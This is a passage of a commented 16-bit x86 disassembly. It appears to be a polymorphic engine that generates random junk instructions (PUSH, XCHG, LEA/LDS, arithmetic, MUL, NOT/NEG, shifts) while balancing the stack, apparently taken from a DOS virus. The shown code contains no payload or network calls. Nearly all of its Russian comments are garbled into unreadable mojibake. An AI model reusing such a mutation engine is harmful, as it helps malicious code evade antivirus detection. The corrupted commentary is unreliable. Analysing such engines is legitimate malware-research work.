|||
|
06FC 4E dec si
|
|||
|
06FD loc_06FD:
|
|||
|
06FD 46 inc si
|
|||
|
06FE loc_06FE:
|
|||
|
06FE E8 FC3B call RND_01234567 ; <20>롨ࠥ<EBA1A8> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
0701 4E dec si
|
|||
|
0702 74 07 jz short loc_070B ; Jump if zero
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0704 3C 04 cmp al,4
|
|||
|
0706 75 08 jne short loc_0710 ; Jump if not equal
|
|||
|
0708 40 inc ax ; <20><><EFBFBD><EFBFBD><EFBFBD>塞 <20><> BP
|
|||
|
0709 EB 05 jmp short loc_0710
|
|||
|
070B loc_070B:
|
|||
|
070B 2E: FF 06 06BE inc cs:StackCounter ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <><E1ABAE> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20><> <20>⥪<EFBFBD>
|
|||
|
0710 loc_0710:
|
|||
|
0710 2E: 0A 84 0A5D or al,cs:data_0A5D[si]
|
|||
|
0715 EB C6 jmp short loc_06DD
|
|||
|
sub_06E0 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> data_0A61
|
|||
|
; <20>ਬ<EFBFBD>砭<EFBFBD><E7A0AD> : <20> <20><><EFBFBD>砥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 286+ <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப<EFBFBD><E0AEAA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
; <20><> <><E1ABAE><EFBFBD><EFBFBD>, <20>.<2E>. <20> SI <20><><EFBFBD> DI <20>ਬ<EFBFBD><E0A8AC> <20><><EFBFBD>祭<EFBFBD><E7A5AD> FFFFh, <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>騡<EFBFBD><E9A8A1> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
;==============================================================================
|
|||
|
sub_0717 proc near
|
|||
|
0717 B8 0017 mov ax,17h
|
|||
|
;--------------- <20><>।<EFBFBD><E0A5A4>塞 ⨯ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ------------------------------------
|
|||
|
071A 54 push sp
|
|||
|
071B 5A pop dx
|
|||
|
071C 3B D4 cmp dx,sp
|
|||
|
071E 75 03 jne short loc_0723 ; Jump if <20><> 286
|
|||
|
0720 2D 0003 sub ax,3 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப<EFBFBD><E0AEAA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
0723 loc_0723:
|
|||
|
0723 E8 FC22 call RND_0_AX
|
|||
|
0726 96 xchg si,ax
|
|||
|
0727 75 05 jnz short loc_072E ; <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PUSHF
|
|||
|
0729 2E: FF 06 06BE inc cs:StackCounter
|
|||
|
072E loc_072E:
|
|||
|
072E 2E: 8A 84 0A61 mov al,cs:data_0A61[si]
|
|||
|
0733 EB A8 jmp short loc_06DD ; Write_byte
|
|||
|
sub_0717 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD>४樨 <20> <20><><EFBFBD><EFBFBD>㧪<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 1/2 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_0735 proc near
|
|||
|
0735 B2 D4 mov dl,0D4h ; cmd AAM/AAD IM8
|
|||
|
0737 E8 FC0B call RND_01 ; <20> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD><EFBFBD> 1/2
|
|||
|
073A 74 05 jz short loc_0741 ; Jump if zero
|
|||
|
073C E8 02F7 call sub_0A36 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><>⠢<EFBFBD><E2A0A2><EFBFBD> NOP ?
|
|||
|
073F B2 E4 mov dl,0E4h ; cmd IN AL,IM8
|
|||
|
0741 loc_0741:
|
|||
|
0741 E8 FC01 call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0744 E8 FF02 call sub_0649 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0747 E8 FBE7 call RND_0_FF ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IM8
|
|||
|
074A 75 07 jnz short loc_0753 ; Jump if not zero
|
|||
|
074C 80 7F FF D4 cmp byte ptr [bx-1],0D4h
|
|||
|
0750 75 01 jne short loc_0753 ; Jump if not equal
|
|||
|
0752 40 inc ax
|
|||
|
0753 loc_0753:
|
|||
|
0753 EB 88 jmp short loc_06DD ; Write_byte
|
|||
|
sub_0735 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PUSH R/M
|
|||
|
;==============================================================================
|
|||
|
sub_0755 proc near
|
|||
|
0755 B0 FF mov al,0FFh
|
|||
|
0757 E8 FEF1 call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD> Grp2/3
|
|||
|
075A E8 FBD4 call RND_0_FF
|
|||
|
075D 24 C7 and al,11000111b ; <20><> <20>⮣<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⮫쪮
|
|||
|
075F 0C 30 or al,00110000b ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PUSH
|
|||
|
0761 2E: FF 06 06BE inc cs:StackCounter ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <><E1ABAE> <20> <20><><EFBFBD><EFBFBD>稪
|
|||
|
0766 F9 stc ; Set carry flag
|
|||
|
0767 E9 FE70 jmp loc_05DA
|
|||
|
sub_0755 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> XCHG REG, R/M
|
|||
|
;==============================================================================
|
|||
|
sub_076A proc near
|
|||
|
076A E8 FBD8 call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
076D 0C 86 or al,86h
|
|||
|
076F E8 FED9 call Write_byte
|
|||
|
0772 D0 E8 shr al,1 ; <20><><EFBFBD>ࠫ<EFBFBD> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
0774 73 06 jnc short loc_077C ; <20><><EFBFBD><EFBFBD>室, <20> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0776 E8 005A call sub_07D3 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
0779 loc_0779:
|
|||
|
0779 E9 FE4F jmp loc_05CB ; <20>⫠<EFBFBD><E2ABA0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20> <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0>
|
|||
|
sub_077C:
|
|||
|
077C loc_077C:
|
|||
|
077C E8 0054 call sub_07D3 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
077F EB D2 jmp short loc_0753 ; Write_byte
|
|||
|
sub_076A endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 LEA, LDS, LES
|
|||
|
;==============================================================================
|
|||
|
sub_0781 proc near
|
|||
|
0781 E8 FBBE call RND_012
|
|||
|
0784 75 09 jnz short loc_078F ; Jump if not zero
|
|||
|
0786 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD> DS ?
|
|||
|
078C 75 01 jne short loc_078F ; Jump if YES
|
|||
|
078E 40 inc ax ; <20> <20><><EFBFBD>, <20><> <20>⪨<EFBFBD>뢠<EFBFBD><EBA2A0> LDS
|
|||
|
078F loc_078F:
|
|||
|
078F 96 xchg si,ax
|
|||
|
0790 2E: 8A 84 0A59 mov al,cs:data_0A59[si]
|
|||
|
0795 E8 FEB3 call Write_byte
|
|||
|
0798 E8 FB96 call RND_0_FF ; <20><>।<EFBFBD><E0A5A4>塞<EFBFBD><EFA5AC> <20> <20><><EFBFBD>⮬ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
079B 3C C0 cmp al,11000000b
|
|||
|
079D 72 02 jb short loc_07A1 ; Jump if below
|
|||
|
079F 24 3F and al,00111111b ; MOD = 00
|
|||
|
07A1 loc_07A1:
|
|||
|
07A1 EB D6 jmp short loc_0779
|
|||
|
sub_0781 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD>䬥<EFBFBD><E4ACA5><EFBFBD><EFBFBD>᪨<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD> ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_07A3 proc near
|
|||
|
07A3 E8 FB96 call RND_01234567 ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> <20>롮<EFBFBD><EBA1AE> <20><><EFBFBD><EFBFBD>
|
|||
|
07A6 74 18 jz short loc_07C0 ; Jump if zero
|
|||
|
;-[ <20><><EFBFBD><EFBFBD><EFBFBD> ArOp 1/2 ]-----------------------------------------------------------
|
|||
|
07A8 E8 FB94 call RND_0123
|
|||
|
07AB 50 push ax
|
|||
|
07AC 0C 80 or al,80h ; AL = 80h..83h
|
|||
|
07AE E8 FE9A call Write_byte
|
|||
|
07B1 D0 E8 shr al,1 ; <20><><EFBFBD>ࠫ<EFBFBD> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
07B3 E8 FFC6 call sub_077C
|
|||
|
07B6 loc_07B6:
|
|||
|
07B6 58 pop ax
|
|||
|
07B7 48 dec ax
|
|||
|
07B8 74 03 jz short loc_07BD ; Jump if zero
|
|||
|
07BA E9 FE60 jmp loc_061D ; IM8
|
|||
|
07BD loc_07BD:
|
|||
|
07BD E9 FE70 jmp loc_0630 ; IM16
|
|||
|
;-[ <20><><EFBFBD><EFBFBD><EFBFBD> Grp 2/3 ]------------------------------------------------------------
|
|||
|
07C0 loc_07C0:
|
|||
|
07C0 E8 FB82 call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
07C3 50 push ax
|
|||
|
07C4 0C F6 or al,0F6h ; <20><><EFBFBD><EFBFBD><EFBFBD> Grp2/3
|
|||
|
07C6 E8 FE82 call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
07C9 E8 FB70 call RND_01234567 ; <20>롨ࠥ<EBA1A8> ॣ<><E0A5A3><EFBFBD><EFBFBD> <20><><EFBFBD> R/M
|
|||
|
07CC 0C C0 or al,11000000b ; <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> MOD = 11
|
|||
|
07CE E8 FE7A call Write_byte
|
|||
|
07D1 EB E3 jmp short loc_07B6
|
|||
|
sub_07A3 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 <20> ॣ<><E0A5A3><EFBFBD><EFBFBD><E0AEA2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樥<EFBFBD> [MOD]-[REG]-[R/M]
|
|||
|
; <20><> <20>室<EFBFBD> : CF = 0 - 8-<2D><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; CF = 1 - 16-<2D><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_07D3 proc near
|
|||
|
07D3 9C pushf ; Push flags
|
|||
|
07D4 E8 FB5F call RND_0_3F ; <20><><EFBFBD><EFBFBD>ਬ <20><><EFBFBD><EFBFBD> REG <20> R/M
|
|||
|
07D7 9D popf ; Pop flags
|
|||
|
07D8 73 0B jnc short loc_07E5 ; Jump if CF=0
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20> 16-<2D><> <20><><EFBFBD><EFBFBD>묨 ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>, <20><> <20>㦭<EFBFBD> <><E1ABA5><EFBFBD><EFBFBD> <20><> SP
|
|||
|
07DA 8A E0 mov ah,al
|
|||
|
07DC 80 E4 07 and ah,00000111b ; <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> R/M
|
|||
|
07DF 80 FC 04 cmp ah,00000100b ; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20> SP <20>ய<EFBFBD>᪠<EFBFBD><E1AAA0>
|
|||
|
07E2 75 01 jne short loc_07E5 ; Jump if not equal
|
|||
|
07E4 40 inc ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20>⠢<EFBFBD><E2A0A2> BP
|
|||
|
07E5 loc_07E5:
|
|||
|
07E5 0C C0 or al,11000000b ; MOD = 11
|
|||
|
07E7 C3 retn
|
|||
|
sub_07D3 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 MUL/IMUL <20><><EFBFBD> ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_07E8 proc near
|
|||
|
07E8 E8 FB5A call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
07EB 0C F6 or al,0F6h ; <20><><EFBFBD><EFBFBD><EFBFBD> Grp 2/3
|
|||
|
07ED E8 FE5B call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
07F0 92 xchg dx,ax
|
|||
|
07F1 E8 FB3D call RND_0_FF ; <20><><EFBFBD><EFBFBD>ਬ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
07F4 24 CF and al,11001111b ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Grp 2/3 <20>롨ࠥ<EBA1A8>
|
|||
|
07F6 0C 20 or al,00100000b ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MUL/IMUL
|
|||
|
07F8 D0 EA shr dl,1 ; <20><><EFBFBD>ࠫ<EFBFBD> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
07FA E9 FDDD jmp loc_05DA
|
|||
|
sub_07E8 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 NOT/NEG <20><><EFBFBD> ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_07FD proc near
|
|||
|
07FD E8 FB45 call RND_01 ; <20>롨ࠥ<EBA1A8>: <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0800 9C pushf ; Push flags
|
|||
|
0801 0C F6 or al,0F6h ; <20><><EFBFBD><EFBFBD><EFBFBD> Grp 2/3
|
|||
|
0803 92 xchg dx,ax
|
|||
|
0804 E8 FB32 call RND_0_F ; AL = 0000 xREG
|
|||
|
0807 8A E2 mov ah,dl
|
|||
|
0809 0C D0 or al,11010000b ; MOD = 11, OP=01x, REG =RND
|
|||
|
080B 9D popf ; Pop flags
|
|||
|
080C 74 0B jz short loc_0819 ; <20><><EFBFBD>ࠫ<EFBFBD> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20> 16-<2D><> <20><><EFBFBD><EFBFBD>묨 ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>, <20><> <20>㦭<EFBFBD> <><E1ABA5><EFBFBD><EFBFBD> <20><> SP
|
|||
|
080E 8A D0 mov dl,al
|
|||
|
0810 80 E2 07 and dl,00000111b
|
|||
|
0813 80 FA 04 cmp dl,00000100b ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP
|
|||
|
0816 75 01 jne short loc_0819 ; Jump if not equal
|
|||
|
0818 40 inc ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20>⠢<EFBFBD><E2A0A2> BP
|
|||
|
0819 loc_0819:
|
|||
|
0819 86 C4 xchg al,ah
|
|||
|
081B loc_081B:
|
|||
|
081B E9 FE18 jmp loc_0636 ; Write_byte
|
|||
|
sub_07FD endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD>饭<EFBFBD><E9A5AD> ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_081E proc near
|
|||
|
081E E8 FB1E call RND_0123
|
|||
|
0821 0C D0 or al,0D0h ; AL = D0h..D3h
|
|||
|
0823 E8 FE25 call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0826 D0 E8 shr al,1 ;
|
|||
|
0828 9C pushf ; Push flags
|
|||
|
0829 E8 FB0A call RND_0_3F
|
|||
|
082C 9D popf ; Pop flags
|
|||
|
082D 73 0B jnc short loc_083A ; <20><><EFBFBD>ࠫ<EFBFBD> <><E1ABAE> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20> 16-<2D><> <20><><EFBFBD><EFBFBD>묨 ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>, <20><> <20>㦭<EFBFBD> <><E1ABA5><EFBFBD><EFBFBD> <20><> SP
|
|||
|
082F 8A E0 mov ah,al
|
|||
|
0831 80 E4 07 and ah,00000111b
|
|||
|
0834 80 FC 04 cmp ah,00000100b ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP
|
|||
|
0837 75 01 jne short loc_083A ; Jump if not equal
|
|||
|
0839 40 inc ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP <20>⠢<EFBFBD><E2A0A2> BP
|
|||
|
083A loc_083A:
|
|||
|
083A 0C C0 or al,11000000b ; MOD = 11 (⮫쪮 ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
083C loc_083C:
|
|||
|
083C E9 FE0C jmp loc_064B ; Write_Byte
|
|||
|
sub_081E endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪<EFBFBD>
|
|||
|
; <20>室 : AX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <>, <20><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA2><EFBFBD><EFBFBD> <20>⥪
|
|||
|
;==============================================================================
|
|||
|
|
|||
|
sub_083F proc near
|
|||
|
083F 51 push cx
|
|||
|
0840 B1 58 mov cl,58h ; cmd POP REG
|
|||
|
0842 48 dec ax ; AX = 1
|
|||
|
0843 74 3B jz short loc_0880 ; Jump if zero
|
|||
|
0845 48 dec ax ; AX = 2
|
|||
|
0846 74 35 jz short loc_087D ; Jump if zero
|
|||
|
0848 40 inc ax ; AX = 0
|
|||
|
0849 40 inc ax
|
|||
|
084A 74 37 jz short loc_0883 ; Jump if zero
|
|||
|
084C B1 50 mov cl,50h ; cmd PUSH REG
|
|||
|
084E 40 inc ax ; AX = -1 (FFFFh)
|
|||
|
084F 74 2F jz short loc_0880 ; Jump if zero
|
|||
|
0851 40 inc ax ; AX = -2 (FFFEh)
|
|||
|
0852 74 29 jz short loc_087D ; Jump if zero
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><> AX <20>८<EFBFBD>ࠧ<EFBFBD><E0A0A7><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <> (<28>.<2E>. 㬭<><E3ACAD><EFBFBD><EFBFBD><EFBFBD> <20><> 2)
|
|||
|
0854 48 dec ax
|
|||
|
0855 48 dec ax
|
|||
|
0856 D1 E0 shl ax,1 ; 㬭<><E3ACAD><EFBFBD><EFBFBD><EFBFBD> <20><> 2
|
|||
|
0858 8B C8 mov cx,ax ; CX = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <>
|
|||
|
085A 98 cbw ; Convrt byte to word
|
|||
|
085B 3B C1 cmp ax,cx ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 127(7F) ?
|
|||
|
085D 9C pushf ; Push flags
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20>롨ࠥ<EBA1A8> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> : <20>⭨<EFBFBD><E2ADA8><EFBFBD><EFBFBD> <20><><EFBFBD> <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SP
|
|||
|
085E E8 FAE4 call RND_01 ; <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
; ---------------- <20>ਡ<EFBFBD><E0A8A1><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0861 B8 C483 mov ax,0C483h ; cmd <ADD SP, IM8> {83 C4 xx}
|
|||
|
0864 74 04 jz short loc_086A ; Jump if RND = 0
|
|||
|
; ---------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0866 B4 EC mov ah,0ECh ; cmd <SUB SP, IM8> {83 EC xx}
|
|||
|
0868 F7 D9 neg cx ; CX = -CX
|
|||
|
086A loc_086A:
|
|||
|
086A 9D popf ; Pop flags
|
|||
|
086B 75 07 jnz short loc_0874 ; <20><><EFBFBD><EFBFBD>室, <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 127
|
|||
|
;-------- <20><><EFBFBD><EFBFBD><EFBFBD> (IM8) ---------------------------------------------------------
|
|||
|
086D E8 FDC6 call Write_word ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0870 91 xchg cx,ax
|
|||
|
0871 59 pop cx
|
|||
|
0872 EB C8 jmp short loc_083C ; Write_Byte (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IM8)
|
|||
|
;-------- <20><><EFBFBD><EFBFBD><EFBFBD> (IM16) --------------------------------------------------------
|
|||
|
; {81 EC xx xx} - ADD SP, IM16 {81 EC xx xx} - SUB SP, IM16
|
|||
|
0874 loc_0874:
|
|||
|
0874 B0 81 mov al,81h
|
|||
|
0876 E8 FDBD call Write_word
|
|||
|
0879 91 xchg cx,ax
|
|||
|
087A 59 pop cx
|
|||
|
087B loc_087B:
|
|||
|
087B EB 9E jmp short loc_081B
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
087D loc_087D:
|
|||
|
087D E8 0005 call sub_0885
|
|||
|
0880 loc_0880:
|
|||
|
0880 E8 0002 call sub_0885
|
|||
|
0883 loc_0883:
|
|||
|
0883 59 pop cx
|
|||
|
0884 C3 retn
|
|||
|
sub_083F endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 <20><>⮢ R/M <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
;==============================================================================
|
|||
|
sub_0885 proc near
|
|||
|
0885 E8 FAB4 call RND_01234567 ; <20>롨ࠥ<EBA1A8> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
0888 0A C1 or al,cl
|
|||
|
088A 3C 5C cmp al,5Ch ; <20><><EFBFBD><EFBFBD><EFBFBD>樨 POP SP ?
|
|||
|
088C 75 AE jne loc_083C ; Jump if NO
|
|||
|
088E B0 07 mov al,7 ; <20><><EFBFBD><EFBFBD><EFBFBD>塞 <20><> POP ES
|
|||
|
0890 EB AA jmp short loc_083C
|
|||
|
sub_0885 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>権 <20><EFBFBD><E1ABAE><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><E1ABAE><EFBFBD><EFBFBD> SHORT <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4>
|
|||
|
; <20><><EFBFBD><EFBFBD>室<EFBFBD> ⮫쪮 <20><><EFBFBD>।, <20>.<2E>. <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⥫<EFBFBD><E2A5AB><EFBFBD><EFBFBD> ᬥ饭<E1ACA5><E9A5AD><EFBFBD>
|
|||
|
;==============================================================================
|
|||
|
sub_0892 proc near
|
|||
|
0892 2E: 83 3E 06F3 00 cmp cs:data_06F3,0 ; <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3><E0A0AC> <20>뫨 ?
|
|||
|
0898 74 05 je short loc_089F ; Jump if <20><><EFBFBD>
|
|||
|
089A E8 FAA2 call RND_0123 ; <20><>. <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD> 1/4
|
|||
|
089D 75 29 jnz short loc_ret_08C8 ; Jump if RND <> 0
|
|||
|
089F loc_089F:
|
|||
|
089F B8 0015 mov ax,15h
|
|||
|
08A2 E8 FAA3 call RND_0_AX ; <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD>
|
|||
|
